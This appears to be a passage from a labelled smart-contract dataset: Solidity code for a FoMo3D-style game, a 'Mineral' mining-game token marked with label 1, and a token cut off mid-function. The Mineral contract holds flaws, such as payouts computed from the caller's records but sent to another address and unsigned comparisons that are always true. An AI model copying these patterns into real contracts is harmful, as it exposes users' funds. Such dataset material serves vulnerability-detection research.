return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,634 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Jewel {
function incise(address owner, uint256 value) external returns (uint);
}
contract DayQualitys {
function getAreaQualityByDay(uint32 time, uint32 area) external returns (uint32);
}
contract Mineral is BurnableToken, Ownable {
string public name = "Mineral";
string public symbol = "ORE";
uint8 public decimals = 18;
uint256 public constant INITIAL_SUPPLY = 800 * 1000 * 1000 * (10 ** uint256(decimals));
uint public constant MINER_4_HOURS = 0.0005 ether;
uint public constant MINER_8_HOURS = 0.001 ether;
uint public constant MINER_24_HOURS = 0.003 ether;
mapping(address => uint[][72]) public deployRange;
uint public timeScale = 1;
mapping(uint32 => uint32[3][72]) private areaHourDeployed;
struct AreaHourDeployed {
uint32[72] lastCollectHour;
mapping(uint32 => uint32[3][72]) hour;
}
mapping(address => AreaHourDeployed) private userAreaHourDeployed;
uint8 public constant CHECK_POINT_HOUR = 4;
mapping(uint32 => uint32[72]) private areaCheckPoints;
mapping(uint32 => uint) private dayAverageOutput;
struct AreaCheckPoint {
mapping(uint32 => uint32[72]) hour;
}
mapping(address => AreaCheckPoint) private userAreaCheckPoints;
uint256 amountEther;
mapping (address => uint) public remainEther;
uint32 public constractDeployTime = uint32(now) / 1 hours * 1 hours;
mapping(address => uint) activeArea;
bool enableWhiteList = true;
mapping(address => bool) whiteUserList;
address serverAddress;
address coldWallet;
bool enableCheckArea = true;
Jewel public jewelContract;
DayQualitys public dayQualitysContract;
event Pause();
event Unpause();
bool public paused = false;
function Mineral() public {
totalSupply = INITIAL_SUPPLY;
balances[this] = 300 * 1000 * 1000 * (10 ** uint256(decimals));
balances[parseAddr("0x22de6b7F8b6119bA8E62FB4165834eA00adb6f3E")] = 110 * 1000 * 1000 * (10 ** uint256(decimals));
balances[parseAddr("0xA3eCD9F46CCfE4D27D747C9c7469990df7412d48")] = 30 * 1000 * 1000 * (10 ** uint256(decimals));
balances[parseAddr("0x686824DB069586aC0aD8060816F1D66A0EE8297b")] = 60 * 1000 * 1000 * (10 ** uint256(decimals));
balances[parseAddr("0x9E8eA5C674EBd85868215ceFab9c108Ab9ceA702")] = 150 * 1000 * 1000 * (10 ** uint256(decimals));
balances[parseAddr("0x4706f5d2a0d4D4eE5A37dDE1438C7de774A2A184")] = 150 * 1000 * 1000 * (10 ** uint256(decimals));
dayAverageOutput[0] = 241920 * 10 ** uint256(decimals);
}
function parseAddr(string _a) internal returns (address){
bytes memory b = bytes(_a);
uint result = 0;
for (uint i = 0; i < b.length; i++) {
uint c = uint(b[i]);
if (c >= 48 && c <= 57) {
result = result * 16 + (c - 48);
}
if(c >= 65 && c<= 90) {
result = result * 16 + (c - 55);
}
if(c >= 97 && c<= 122) {
result = result * 16 + (c - 87);
}
}
return address(result);
}
function setColdWallet(address _coldWallet) public onlyOwner {
coldWallet = _coldWallet;
}
function disableWhiteUserList() public onlyOwner {
enableWhiteList = false;
}
function disableCheckArea() public onlyOwner {
enableCheckArea = false;
}
modifier checkWhiteList() {
if (enableWhiteList) {
require(whiteUserList[msg.sender]);
}
_;
}
function setServerAddress(address addr) public onlyOwner {
serverAddress = addr;
}
function authUser(string addr) public {
require(msg.sender == serverAddress || msg.sender == owner);
address s = bytesToAddress(bytes(addr));
whiteUserList[s] = true;
}
function bytesToAddress (bytes b) internal view returns (address) {
uint result = 0;
for (uint i = 0; i < b.length; i++) {
uint c = uint(b[i]);
if (c >= 48 && c <= 57) {
result = result * 16 + (c - 48);
}
if(c >= 65 && c <= 90) {
result = result * 16 + (c - 55);
}
if(c >= 97 && c <= 122) {
result = result * 16 + (c - 87);
}
}
return address(result);
}
function setDayQualitys(address dayQualitys) public onlyOwner {
dayQualitysContract = DayQualitys(dayQualitys);
}
function getMyDeployAt(uint32 area, uint32 hour) public view returns (uint32[3]) {
return userAreaHourDeployed[msg.sender].hour[hour][area];
}
function getMyMinersAt(uint32 area, uint32 hour) public view returns (uint32) {
return _getUserMinersAt(msg.sender, area, hour);
}
function _getUserMinersAt(address user, uint32 area, uint32 hour) internal view returns(uint32) {
uint32 nc = hour/CHECK_POINT_HOUR*CHECK_POINT_HOUR;
if (userAreaCheckPoints[user].hour[nc][area] == 0 && userAreaCheckPoints[user].hour[nc + CHECK_POINT_HOUR][area] == 0) {
return 0;
}
uint32 h = 0;
int64 userInc = 0;
uint32[3] storage ptUser;
AreaHourDeployed storage _userAreaHourDeployed = userAreaHourDeployed[user];
for (h = nc; h <= hour; ++h) {
ptUser = _userAreaHourDeployed.hour[h][area];
userInc += ptUser[0] + ptUser[1] + ptUser[2] - _userAreaHourDeployed.hour[h - 4][area][0] -
_userAreaHourDeployed.hour[h - 8][area][1] - _userAreaHourDeployed.hour[h - 24][area][2];
}
return userAreaCheckPoints[user].hour[nc][area] + uint32(userInc);
}
function getDeployAt(uint32 area, uint32 hour) public view returns (uint32[3]) {
return areaHourDeployed[hour][area];
}
function getMinersAt(uint32 area, uint32 hour) public view returns (uint32) {
return _getMinersAt(area, hour);
}
function _getMinersAt(uint32 area, uint32 hour) internal view returns (uint32) {
uint32 nc = hour/CHECK_POINT_HOUR*CHECK_POINT_HOUR;
uint32 h = 0;
int64 userInc = 0;
int64 totalInc = 0;
uint32[3] storage ptArea;
for (h = nc; h <= hour; ++h) {
ptArea = areaHourDeployed[h][area];
totalInc += ptArea[0] + ptArea[1] + ptArea[2] - areaHourDeployed[h - 4][area][0] - areaHourDeployed[h - 8][area][1] - areaHourDeployed[h - 24][area][2];
}
return areaCheckPoints[nc][area] + uint32(totalInc);
}
function updateArea(uint areaId) internal pure returns (uint) {
uint row = areaId / 8;
uint colum = areaId % 8;
uint result = uint(1) << areaId;
if (row-1 >= 0) {
result |= uint(1) << ((row-1)*8+colum);
}
if (row+1 < 9) {
result |= uint(1) << ((row+1)*8+colum);
}
if (colum-1 >= 0) {
result |= uint(1) << (row*8+colum-1);
}
if (colum+1 < 8) {
result |= uint(1) << (row*8+colum+1);
}
return result;
}
function checkArea(uint32[] area, address user) internal {
if (enableCheckArea) {
uint[] memory distinctArea = new uint[](area.length);
uint distinctAreaLength = 0;
for (uint i = 0; i < area.length; i++) {
bool find = false;
for (uint j = 0; j < distinctAreaLength; j++) {
if (distinctArea[j] == area[i]) {
find = true;
break;
}
}
if (!find) {
distinctArea[distinctAreaLength] = area[i];
distinctAreaLength += 1;
}
}
if (activeArea[user] == 0) {
require(distinctAreaLength == 1);
activeArea[user] = updateArea(distinctArea[0]);
} else {
uint userActiveArea = activeArea[user];
uint updateActiveArea = userActiveArea;
for (i = 0; i < distinctAreaLength; i++) {
require(userActiveArea & uint(1) << distinctArea[i] > 0);
updateActiveArea = updateActiveArea | updateArea(distinctArea[i]);
}
activeArea[user] = updateActiveArea;
}
}
}
function deployMiners(address user, uint32[] area, uint32[] period, uint32[] count) public checkWhiteList whenNotPaused payable {
require(area.length > 0);
require(area.length == period.length);
require(area.length == count.length);
address _user = user;
if (_user == address(0)) {
_user = msg.sender;
}
uint32 _hour = uint32((now - constractDeployTime) * timeScale / 1 hours);
checkArea(area, user);
uint payment = _deployMiners(_user, _hour, area, period, count);
_updateCheckPoints(_user, _hour, area, period, count);
require(payment <= msg.value);
remainEther[msg.sender] += (msg.value - payment);
if (coldWallet != address(0)) {
coldWallet.transfer(payment);
} else {
amountEther += payment;
}
}
function _deployMiners(address _user, uint32 _hour, uint32[] memory area, uint32[] memory period, uint32[] memory count) internal returns(uint){
uint payment = 0;
uint32 minerCount = 0;
uint32[3][72] storage _areaDeployed = areaHourDeployed[_hour];
uint32[3][72] storage _userAreaDeployed = userAreaHourDeployed[_user].hour[_hour];
for (uint index = 0; index < area.length; ++index) {
require (period[index] == 4 || period[index] == 8 || period[index] == 24);
if (period[index] == 4) {
_areaDeployed[area[index]][0] += count[index];
_userAreaDeployed[area[index]][0] += count[index];
payment += count[index] * MINER_4_HOURS;
} else if (period[index] == 8) {
_areaDeployed[area[index]][1] += count[index];
_userAreaDeployed[area[index]][1] += count[index];
payment += count[index] * MINER_8_HOURS;
} else if (period[index] == 24) {
_areaDeployed[area[index]][2] += count[index];
_userAreaDeployed[area[index]][2] += count[index];
payment += count[index] * MINER_24_HOURS;
}
minerCount += count[index];
DeployMiner(_user, area[index], _hour, _hour + period[index], count[index]);
adjustDeployRange(area[index], _hour, _hour + period[index]);
}
return payment;
}
function adjustDeployRange(uint area, uint start, uint end) internal {
uint len = deployRange[msg.sender][area].length;
if (len == 0) {
deployRange[msg.sender][area].push(start | (end << 128));
} else {
uint s = uint128(deployRange[msg.sender][area][len - 1]);
uint e = uint128(deployRange[msg.sender][area][len - 1] >> 128);
if (start >= s && start < e) {
end = e > end ? e : end;
deployRange[msg.sender][area][len - 1] = s | (end << 128);
} else {
deployRange[msg.sender][area].push(start | (end << 128));
}
}
}
function getDeployArrayLength(uint area) public view returns (uint) {
return deployRange[msg.sender][area].length;
}
function getDeploy(uint area, uint index) public view returns (uint,uint) {
uint s = uint128(deployRange[msg.sender][area][index]);
uint e = uint128(deployRange[msg.sender][area][index] >> 128);
return (s, e);
}
function _updateCheckPoints(address _user, uint32 _hour, uint32[] memory area, uint32[] memory period, uint32[] memory count) internal {
uint32 _area = 0;
uint32 _count = 0;
uint32 ce4 = _hour + 4;
uint32 ce8 = _hour + 8;
uint32 ce24 = _hour + 24;
uint32 cs = (_hour/CHECK_POINT_HOUR+1)*CHECK_POINT_HOUR;
AreaCheckPoint storage _userAreaCheckPoints = userAreaCheckPoints[_user];
uint32 cp = 0;
for (uint index = 0; index < area.length; ++index) {
_area = area[index];
_count = count[index];
if (period[index] == 4) {
for (cp = cs; cp <= ce4; cp += CHECK_POINT_HOUR) {
areaCheckPoints[cp][_area] += _count;
_userAreaCheckPoints.hour[cp][_area] += _count;
}
} else if (period[index] == 8) {
for (cp = cs; cp <= ce8; cp += CHECK_POINT_HOUR) {
areaCheckPoints[cp][_area] += _count;
_userAreaCheckPoints.hour[cp][_area] += _count;
}
} else if (period[index] == 24) {
for (cp = cs; cp <= ce24; cp += CHECK_POINT_HOUR) {
areaCheckPoints[cp][_area] += _count;
_userAreaCheckPoints.hour[cp][_area] += _count;
}
}
}
}
event DeployMiner(address addr, uint32 area, uint32 start, uint32 end, uint32 count);
event Collect(address addr, uint32 area, uint32 start, uint32 end, uint areaCount);
function getMyLastCollectHour(uint32 area) public view returns (uint32){
return userAreaHourDeployed[msg.sender].lastCollectHour[area];
}
function collect(address user, uint32[] area) public checkWhiteList whenNotPaused {
require(address(dayQualitysContract) != address(0));
uint32 current = uint32((now - constractDeployTime) * timeScale / 1 hours);
require(area.length > 0);
address _user = user;
if (_user == address(0)) {
_user = msg.sender;
}
uint total = 0;
for (uint a = 0; a < area.length; ++a) {
uint len = deployRange[msg.sender][area[a]].length;
bool finish = true;
for (uint i = 0; i < len; i += 1) {
uint s = uint128(deployRange[msg.sender][area[a]][i]);
uint e = uint128(deployRange[msg.sender][area[a]][i] >> 128);
if (current < e && current >= s ) {
total += _collect(_user, uint32(s), current, area[a]);
deployRange[msg.sender][area[a]][i] = current | (e << 128);
finish = false;
} else if (current >= e) {
total += _collect(_user, uint32(s), uint32(e), area[a]);
}
}
if (finish) {
deployRange[msg.sender][area[a]].length = 0;
} else {
deployRange[msg.sender][area[a]][0] = deployRange[msg.sender][area[a]][len - 1];
deployRange[msg.sender][area[a]].length = 1;
}
}
ERC20(this).transfer(_user, total);
}
function _collect(address _user, uint32 start, uint32 end, uint32 area) internal returns (uint) {
uint result = 0;
uint32 writeCount = 1;
uint income = 0;
uint32[] memory totalMiners = new uint32[](CHECK_POINT_HOUR);
uint32[] memory userMiners = new uint32[](CHECK_POINT_HOUR);
uint32 ps = start/CHECK_POINT_HOUR*CHECK_POINT_HOUR+CHECK_POINT_HOUR;
if (ps >= end) {
(income, writeCount) = _collectMinersByCheckPoints(_user, area, start, end, totalMiners, userMiners, writeCount);
result += income;
} else {
(income, writeCount) = _collectMinersByCheckPoints(_user, area, start, ps, totalMiners, userMiners, writeCount);
result += income;
while (ps < end) {
(income, writeCount) = _collectMinersByCheckPoints(_user, area, ps, uint32(Math.min64(end, ps + CHECK_POINT_HOUR)), totalMiners, userMiners, writeCount);
result += income;
ps += CHECK_POINT_HOUR;
}
}
Collect(_user, area, start, end, result);
return result;
}
function _collectMinersByCheckPoints(address _user, uint32 area, uint32 start, uint32 end, uint32[] memory totalMiners, uint32[] memory userMiners, uint32 _writeCount) internal returns (uint income, uint32 writeCount) {
writeCount = _writeCount;
income = 0;
if (userAreaCheckPoints[_user].hour[start/CHECK_POINT_HOUR*CHECK_POINT_HOUR][area] == 0 && userAreaCheckPoints[_user].hour[start/CHECK_POINT_HOUR*CHECK_POINT_HOUR + CHECK_POINT_HOUR][area] == 0) {
return;
}
_getMinersByCheckPoints(_user, area, start, end, totalMiners, userMiners);
uint ao = dayAverageOutput[start / 24];
if (ao == 0) {
uint32 d = start / 24;
for (; d >= 0; --d) {
if (dayAverageOutput[d] != 0) {
break;
}
}
ao = dayAverageOutput[d];
for (d = d+1; d <= start / 24; ++d) {
ao = ao*9996/10000;
if ((start / 24 - d) < writeCount) {
dayAverageOutput[d] = ao;
}
}
if (writeCount > (start / 24 - d - 1)) {
writeCount = writeCount - (start / 24 - d - 1);
} else {
writeCount = 0;
}
}
uint week = dayQualitysContract.getAreaQualityByDay(uint32(start * 1 hours + constractDeployTime), area);
require(week > 0);
ao = week * ao / 10 / 24 / 72;
income = _getTotalIncomeAt(end - start, userMiners, totalMiners, ao, week);
if (week == 10) {
income = income * 8 / 10;
} else if (week == 5) {
income = income * 6 / 10;
}
}
function _getTotalIncomeAt(uint32 hourLength, uint32[] memory userMiners, uint32[] memory totalMiners, uint areaOutput, uint week) internal view returns(uint) {
uint income = 0;
for (uint i = 0; i < hourLength; ++i) {
if (userMiners[i] != 0 && totalMiners[i] != 0) {
income += (Math.min256(10 ** uint256(decimals), areaOutput / totalMiners[i]) * userMiners[i]);
}
}
return income;
}
function _getMinersByCheckPoints(address _user, uint32 area, uint32 start, uint32 end, uint32[] memory totalMiners, uint32[] memory userMiners) internal view {
require((end - start) <= CHECK_POINT_HOUR);
uint32 h = 0;
int64 userInc = 0;
int64 totalInc = 0;
uint32[3] storage ptUser;
uint32[3] storage ptArea;
AreaHourDeployed storage _userAreaHourDeployed = userAreaHourDeployed[_user];
for (h = start/CHECK_POINT_HOUR*CHECK_POINT_HOUR; h <= start; ++h) {
ptUser = _userAreaHourDeployed.hour[h][area];
ptArea = areaHourDeployed[h][area];
totalInc += ptArea[0] + ptArea[1] + ptArea[2] - areaHourDeployed[h - 4][area][0] - areaHourDeployed[h - 8][area][1] - areaHourDeployed[h - 24][area][2];
userInc += ptUser[0] + ptUser[1] + ptUser[2] - _userAreaHourDeployed.hour[h - 4][area][0] - _userAreaHourDeployed.hour[h - 8][area][1] - _userAreaHourDeployed.hour[h - 24][area][2];
}
totalMiners[0] = areaCheckPoints[start/CHECK_POINT_HOUR*CHECK_POINT_HOUR][area] + uint32(totalInc);
userMiners[0] = userAreaCheckPoints[_user].hour[start/CHECK_POINT_HOUR*CHECK_POINT_HOUR][area] + uint32(userInc);
uint32 i = 1;
for (h = start + 1; h < end; ++h) {
ptUser = _userAreaHourDeployed.hour[h][area];
ptArea = areaHourDeployed[h][area];
totalMiners[i] = totalMiners[i-1] + ptArea[0] + ptArea[1] + ptArea[2] - areaHourDeployed[h - 4][area][0] - areaHourDeployed[h - 8][area][1] - areaHourDeployed[h - 24][area][2];
userMiners[i] = userMiners[i-1] + ptUser[0] + ptUser[1] + ptUser[2] - _userAreaHourDeployed.hour[h - 4][area][0] - _userAreaHourDeployed.hour[h - 8][area][1] - _userAreaHourDeployed.hour[h - 24][area][2];
++i;
}
}
function withdraw() public {
uint remain = remainEther[msg.sender];
require(remain > 0);
remainEther[msg.sender] = 0;
msg.sender.transfer(remain);
}
function withdrawMinerFee() public onlyOwner {
require(amountEther > 0);
owner.transfer(amountEther);
amountEther = 0;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function setJewelContract(address jewel) public onlyOwner {
jewelContract = Jewel(jewel);
}
function incise(uint256 value) public returns (uint) {
require(jewelContract != address(0));
uint256 balance = balances[msg.sender];
require(balance >= value);
uint256 count = (value / (10 ** uint256(decimals)));
require(count >= 1);
uint ret = jewelContract.incise(msg.sender, count);
burn(count * 10 ** uint256(decimals));
return ret;
}
} | 1 | 2,331 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
